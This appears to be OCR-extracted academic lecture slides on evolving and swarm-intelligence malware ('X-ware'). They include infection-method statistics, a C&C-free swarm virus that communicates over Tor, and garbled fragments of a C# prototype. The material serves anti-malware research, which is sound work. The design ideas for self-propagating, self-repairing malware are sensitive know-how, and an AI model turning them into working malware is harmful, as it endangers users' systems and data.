Files missed The number of files the entity is unable to find (penality).

Length of SS The length of the entity, which is a sum of characters the entity
is comprised of.

Method penalty The penalty incurred by the entity’s using a method marked as
penalized.

Infection failure The penalty incurred by the entity’s inahility to infect a file or by
infecting a file twice.

id: 2
body:
SeparateExe layer: 1. method for prepended virus
SearchingForDrives layer: 1. method using GetlogicalDrives() method
SearchingForFiles layer: 1. method using system command
FilesTolInfectHandler layer: 2. method using parallel approach to files for infection
InfectionChecker layer: 3. method checking length - if same or greather, returns that it is infected
InfectExe layer: 1. method for prepended virus
fittness: 17697

speaking: Ivan Zelinka Kanova, K., 2017. Evoluce digitalniho kédu (Digital Code Evolution), VSB-TU Ostrava, Thesis.
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Malware evolution - program cycle

Initialization part Evolution part

setting each

constants offspring
set? each

offspring

jumped?

generate

prtVector

spreading
files

jump with
generating finding best Innp.s offspring
offspring offspring remain
setting
searching
time

coords find best
a4 find best
position

drop remark
to
summary.txt

move
offspring to
best position

Speaking: Ivan Zelinka Kanova, K., 2017. Evoluce digitalniho kédu (Digital Code Evolution), VSB-TU Ostrava, Thesis.
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Malware evolution —
used methods by Entities

700

Speaking: lvan Zelinka
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Layer Method Count Percentage in layer
prepended 49 7.25
. o rewriting 596 88.17
Separatelixes parasitical 12 1.78
fake 19 2.81
: o . GetLogicalDrives() 577 86.38
SearchingForDrives system command 91 13.62
system command 202 30.51
SearchingForFiles FindNextFile() - delayed entry to file 224 33.83
FindNextFile() - immediate entry to file 236 35.65
. ey serial approach 219 33.64
FilesTolnfectHandler parallel approach 432 66.36
prepending file 84 12.94
InfectionChecker length check - equals 399 61.45
length check - larger 166 25.58
prepended 19 7.25
) rewriting 596 88.17
InfectExe parasitical 12 1.78
fake 19 2.81
message 123 12.73
nothing-doing method 362 37.47
Pavload inner-cycles method 146 15.11
ay-os alphabeth 168  17.39
writing to file 67 6.94
fibonaci method 100 10.35
Kanova, K., 2017. Evoluce digitalniho kodu (Digital Code Evolution), VSB-TU Ostrava, Thesis.
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M ad Iwa re evo I ut ion — Layer Method Count Percentage in layer
prepended 1 1.56
used methods by Leader D iting "
SeparateExes .
parasitical 0 0
20 fake 19 2.81
e . GetLogicalDrives() 61 95.31
60 SearchingForDrives system command 3 4.69
50 system command 32 50
SearchingForFiles FindNextFile() - delayed entry to file 16 25
40 FindNExtFile() - immediate entry to file 16 25
0 . ey serial approach 17 26.56
FilesTolnfectHandler parallel approach A7 73 44
20 prepending file 5 7.81
10 InfectionChecker length check - equals 55 85.94
L length check - larger 4 6.25
0 prepended 1 1.56
+F Ko 5 N & 4 @~ rewriting 63 98.44
& L N Exe
ﬁ,ﬁ;‘& Q(& Q‘§ &ﬁ n’fr"a;l_ @_i@-c’ Q'ﬁ" Infectxe parasitical 0 0
& ﬁ“& tﬁ‘b& d@'a' @é’z{} fake 0 0
A
15_,‘;2“:‘”t o 1‘,':«..;2‘-’ N message 1 2.17
nothing-doing method 16 34.78
Pavioad inner-cycles method 6 13.04
ay2o8 alphabeth 12 26.00
writing to file 4 8.7
fibonaci method 7 15.22

speaking: lvan Zelinka Kanova, K., 2017. Evoluce digitalniho kédu (Digital Code Evolution), VSB-TU Ostrava, Thesis.
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Virus can evolve, what next?

Speaking: lvan Zelinka
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Swarm intelligence as a malware engine

X-ware

Speaking: lvan Zelinka
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Vision

What kind of malware can be
expected in the near future?

One possible answer:

Zelinka, 1., Das, S., Sikora, L., &
Senkefik, R. (2018). Swarm virus-
Next-generation virus and
antivirus paradigm?. Swarm and
Evolutionary Computation, 43, 207-
224,

Speaking: Roman Senkerik

SCIENCE

Tomas Bata University in Zlin
Faculty of Applied Informatics

Swarm and Evolutionary Computation 43 (2018) 207-224

ELSEVIER

Swarm and Evolutionary Computation

journal homepage: www.elsevier.com/locate/swevo

Contents lists available at ScienceDirect

Swarm virus - Next-generation virus and antivirus paradigm? R

Ivan Zelinka ", Swagatam Das ¢, Lubomir Sikora ", Roman Senkefk ¢

Cheek for
e |

# Modeling Evolutionary Algorithms Simulation and Artificial Intelligence, Faculty of Electrical & Electronics Engineering, Ton Duc Thang University, Ho Chi

Minh City, Viet Nam

b Department of Computer Science Faculty of Electrical Engineering and Computer Science, VSB-Technical University of Ostrava, Czech Republic
¢ Electronics and Communication Sciences Unit, Indian Statistical Institute, 203 B.T. Road, Kolkata 700108, W.B., India
4 Faculty of Applied Informatics, Tomas Bata University in Zlin, Nam T.G. Masaryka 5555, 760 01 Zlin, Czech Republic

ARTICLE INFO

Keywords:

Swarm algorithms
Computer virus

Security

Identification
Evolutionary algorithms
Swarm malware

Swarm intelligence

Ant colony optimization
Complex network

ABSTRACT

In this article, we outline a possible dynamics, structure, and a behavior of a hypothetical (up to now) swarm
malware as a background for a future antimalware system. We suggest how to capture and visualize behavior of
such malware when it walks through the file system of an operating system. The swarm virus prototype, designed
here, mimics a swarm system behavior and thus follows the main idea underlying the swarm intelligence algo-
rithms. The information of the prototype’s behavior is stored and visualized in the form of a complex network,
reflecting virus communication and swarm behavior. The network nodes are then individual virus instances.
The network has certain properties associated with its structure that can be used by the virus instances in its
activities like locating target and executing payload on the right object. As the paper shows, the swarm behavior
pattern can be incorporated also to an antimalware systems, and can be analyzed for a future compuiter system
protection.
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Swarm Virus - Main Idea

= To mimic the behavior of the biological swarm systems.
= To eliminate C&C center in the botnet structure.

= To combine of swarm base intelligence, (neural network - 2nd gen.), and a traditional virus -> new kind of
Vvirus.

= Dynamics of the Swarm Virus behaviour can be transformed to CN

= Any Swarm Algorithms dynamics can be transformed to CN

= Connection of those?

= Development of smart frameworks (without C&C centre) for new kind of security SW

= Not limited to viruses... any cyberthreats, crimes, malware, can follow similar transformation patterns/rules

Zelinka, ., Das, S., Sikora, L., & Senkefik, R. (2018). Swarm virus-Next-generation virus and antivirus
Speaking: Ivan Zelinka paradigm?. Swarm and Evolutionary Computation, 43, 207-224.
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Swarm virus - main idea

= Virus behavior patterns - Why Complex/Social networks:
= Movement of a virus in the PC system follow the tree structure (i.e., moving from file to
file).
= Such structure consists of many dead-ends and no-cycles... -> transform this tree
structure into complex network.
= Utilization of a Complex (social) networks is a powerful method for visualizing and
analyzing the swarm virus behavior (patterns, hubs, clusters...)

Zelinka, ., Das, S., Sikora, L., & Senkefik, R. (2018). Swarm virus-Next-generation virus and antivirus

Speaking: Ivan Zelinka paradigm?. Swarm and Evolutionary Computation, 43, 207-224.
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Swarm virus - main idea

= S| and malware
=  Structure

The ACO
principles are
used...

"~ ..with the classical

... a swarm virus (SV) that
merge functionality of
both the systems.

...and networks reflecting
virus behavior and victim
importance are visualized
and analyzed.

Complex-
like
networks

When swarm is travelling through
the file system, interactions -
communication amongst SV
instances are recorded...

virus, in order to
create...

Fig. 1. The main idea of the swarm virus and its visualization.

Zelinka, ., Das, S., Sikora, L., & Senkefik, R. (2018). Swarm virus-Next-generation virus and antivirus
paradigm?. Swarm and Evolutionary Computation, 43, 207-224.
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Swarm Virus — Results

SCTENCE Faculty of Applied Informatics
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Figure 9: Histogram of the network degree

Speaking: lvan Zelinka

50

Figure 7: Network example 3, p = 0.9, m = 7, visualization into communities. (This is
just a demonstration of different visualization possibilities of the network)

Zelinka, ., Das, S., Sikora, L., & Senkefik, R. (2018). Swarm virus-Next-generation virus and antivirus
paradigm?. Swarm and Evolutionary Computation, 43, 207-224.
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Swarm Virus — Behavioral Patterns
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Zelinka, ., Das, S., Sikora, L., & Senkefik, R. (2018). Swarm virus-Next-generation virus and antivirus

Speaking: Ivan Zelinka paradigm?. Swarm and Evolutionary Computation, 43, 207-224.
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Swarm Virus — Behavioral Patterns

Zelinka, ., Das, S., Sikora, L., & Senkefik, R. (2018). Swarm virus-Next-generation virus and antivirus

Speaking: Ivan Zelinka paradigm?. Swarm and Evolutionary Computation, 43, 207-224.



VSB TECHNICAL | FACULTY OF ELECTRICAL DEPARTMENT Tomas Bata University in Zlin
|| || UNIVERSITY | ENGINEERING AND COMPUTER | OF COMPUTER Faculty of Anplied Inf b
OF OSTRAVA | SCIENCE SCIENCE acuity of Applied Intormatics
In action

Zelinka, ., Das, S., Sikora, L., & Senkefik, R. (2018). Swarm virus-Next-generation virus and antivirus
Speaking: Ivan Zelinka paradigm?. Swarm and Evolutionary Computation, 43, 207-224.
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Swarm virus — behavioral patterns

Speaking: Ivan Zelinka Truong, T.C., Diep, Q.B. and Zelinka, I., 2020. Artificial Intelligence in the Cyber Domain: Offense and Defense. Symmetry, 12(3), p.410.
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W7,

Eigenvector centrality of the X-Ware network, capturing Betweenness centrality of the X-Ware network, capturing
its movement through host system its movement through host system

101
Speaking: Ivan Zelinka Truong, T.C., Diep, Q.B. and Zelinka, I., 2020. Artificial Intelligence in the Cyber Domain: Offense and Defense. Symmetry, 12(3), p.410.
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Advanced malware

= Malware with Al (next generation malware)
= |Intelligent evasion techniques (highly evasive, anti-reversing)
= Autonomous malware (mass attack with machine speed, targeted and customized attacks)
= Bio-inspired computation and swarm intelligence (mutate, evolution, swarm intelligence malware)

Traditional targeted attack NN-powered targeted attack

Execute Attack Execute Attack

| &

Is this a

A

End < End

Speaking: Ivan Zelinka Truong, T.C., Diep, Q.B. and Zelinka, 1., 2020. Artificial Intelligence in the Cyber Domain: Offense and Defense. Symmetry, 12(3), p.410.
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Neural swarm malware

= X-Ware powered by ANN
= Centralized version
= Distributed version

Speaking: lvan Zelinka

SCTENCE Faculty of Applied Informatics

ANN Output

O=

ANN Input

e

Each virus in the swarm is embedded with a MLP

103

Truong, T.C., Diep, Q.B. and Zelinka, I., 2020. Artificial Intelligence in the Cyber Domain: Offense and Defense. Symmetry, 12(3), p.410.
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More reading

Q—-O\ ANN Output

goq

ANN Input

e

Ords

e

Fig. 4.5: Virus simulate the ANN working mechanism

ANN Input,
rd
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Neural swarm virus

1[0000—0001—6603—392X s 1., 1[0000—0002—3858—7340
Cong Truong Thanh'l I, Ivan Zelinka!l 1,

Thanh, C. T., Zelinka, I. & Senkerik, R. (2019, July). Neural Swarm Virus.
In 7-th Joint International Conferences on Swarm, Evolutionary and
Memetic Computing Conference (SEMCCO 2019) & Fuzzy And Neural
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Abstract. The dramatic improvements in computational intelligence
techniques over recent years have influenced many domains. Hence, it
is reasonable to expect that virus writers will taking advantage of these
techniques to defeat existing security solution. In this article, we outline a
possible dynamic swarm smart malware, its structure, and functionality
as a background for the forthcoming anti-malware solution. We propose
how to record and visualize the behavior of the virus when it propagates
through the file system. Neural swarm virus prototype, designed here,
simulates the swarm system behavior and integrates the neural network
to operate more efficiently. The virus’s behavioral information is stored
and displayed as a complex network to reflect the communication and
behavior of the swarm. In this complex network, every vertex is then indi-
vidual virus instances. Additionally, the virus instances can use certain
properties associated with the network structure to discovering target
and executing a payload on the right object.

Keywords: Swarm virus, swarm intelligence, neural network, malware,
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Truong, T.C., Zelinka, I. and Senkerik, R., 2019. Neural Swarm Virus. In Swarm, Evolutionary, and
Memetic Computing and Fuzzy and Neural Computing (pp. 122-134). Springer, Cham.
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Communication

Tor Network

X-ware

X-ware

X-Ware architecture, the individual communicate through Tor network
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X-ware

The Code
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Prototype in C#

P

static void DisplayVirusInfo()
{//Display the information store inside the virus
string[] inf = null;

?ayXo 24
/
inf = ReadData(); p
crea®

Console.WritelLine("Information of the swarm virusizm); e
foreach (var item in inf) 3
{Console.WriteLine("{0}\n",item);} e

}

static void WriteLogInformation(string filename, string infol, string info2y
{//this function is used to record the virus activity
StringBuilder sbuilder = new StringBuilder();
using (StringWriter sw = new StringWriter(sbuilder))

3\N\Q'cz“ﬁm‘cegr'i‘cy of the swarm.
* instances is removed, the current instance will recreate the virus
> = null;

{
using (XmlTextWriter w = new XmlTextWriter(sw)) ReadData();
{ var index = Array.IndexOf(s, "BgCommand");
w.WriteStartElement("LogInfo"); int count = @;
w.WriteElementString("Time", DateTime.Now.ToString()); .
w.WriteElementString("Infol", infol); //browse the info array ]
w.WriteElementString("Info2", info2); for (int i = @; i < index; i++)
w.WriteEndElement(); {
} for (int j = ©; j <= index; j++)
} {//if the element values are equal to virus ID then update

using (StreamWriter w = new StreamWriter(filename, true, Encoding.UTF8)) if (s[i] == ("svirus" + j))

{w.WriteLine(sbuilder.ToString());} . . . .
//get the filepath of the virus ID svirusi

} string pathofvirus = s[i + 1];
//check if the virus with ID exist
if (File.Exists(pathofvirus) == false)
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X-ware -demo 1

The Communicating Virus
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X-ware - demo 2

Home Share View

v 4 B > ThisPC » Local Disk (C) > Vir

Name Type
»# Quick access

- n Folder level 1 File folder

& Hello_IDM_Level_1.exe 5KB Application
£ Hello_KMP_Level_1.exe 40,867 KB Application
&~ OneDrive & Hello_VLC_Level_1.exe 40,867 KB Application

Downloads

= Google Drive File Strear #

A Music & Hello_World_Level_1.exe 5KB Application

I® Virus2.0Comm.exe 11 KB Application
3 This PC

B" 3D Objects
| Desktop
E Documents
Downloads
Music
B Pictures
& Videos
4 Local Disk (C3)
- Samsung 850 EVO (D:)
- SSD PLEXTOR (E:)
- HDD 883 GB (F)
- HDD 616 GB (G:)

— LI 2389 7D /LA

6 items |

O Type here to search i = T Q) ENG
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X-ware - demo 3
R B~ v

File k- Home Share View

<« v 4 B > ThisPC » Local Disk (C) > Vir

Name Type
»# Quick access

n Folder level 1 File folder

& Hello_IDM_Level_1.exe 5KB Application
£ Hello_KMP_Level_1.exe 40,867 KB Application
&~ OneDrive & Hello_VLC_Level_1.exe 40,867 KB Application

Downloads »

= Google Drive File Strear #

A Music & Hello_World_Level_1.exe 5KB Application

I imp.exe 5KB Application
3 This PC

B" 3D Objects

I Virus2.1Swarm.exe 16 KB Application

| Desktop
E Documents
Downloads
Music
B Pictures
& Videos
4 Local Disk (C3)
- Samsung 850 EVO (D:)
- SSD PLEXTOR (E)
- HDD 883 GB (F)
- HDD 616 GB (G:)

— LI 2389 7D /LA

7 items | 1 item selected |

O Type here to search i = T Q) ENG




VSB TECHNICAL | FACULTY OF ELECTRICAL DEPARTMENT Tomas Bata University in Zlin
||| UNIVERSITY | ENGINEERING AND COMPUTER | OF COMPUTER

OF 0STRAVA | SCIENCE SCIENCE Faculty of Applied Informatics

X-ware: conclusion

e Expand X-ware to swarm worm a ANN Output
* Create botnet

e Simulate network traffic
* With botnet
* With X-ware

* Measure data, compare, search for patterns <

* The future of the antimalware technologies

ANN Input N 1

e
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X-ware — already published
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Conclusion

= We discussed
= Basics of malware ideas
= Al and Sl overview
= Darwinian malware evolution

= Swarm intelligence
® Training IDS
= Used as the possible malware engine
= X-Ware
= Swarm malware with included ANN
= Future antimalware technologies (use Al snd SI,...)
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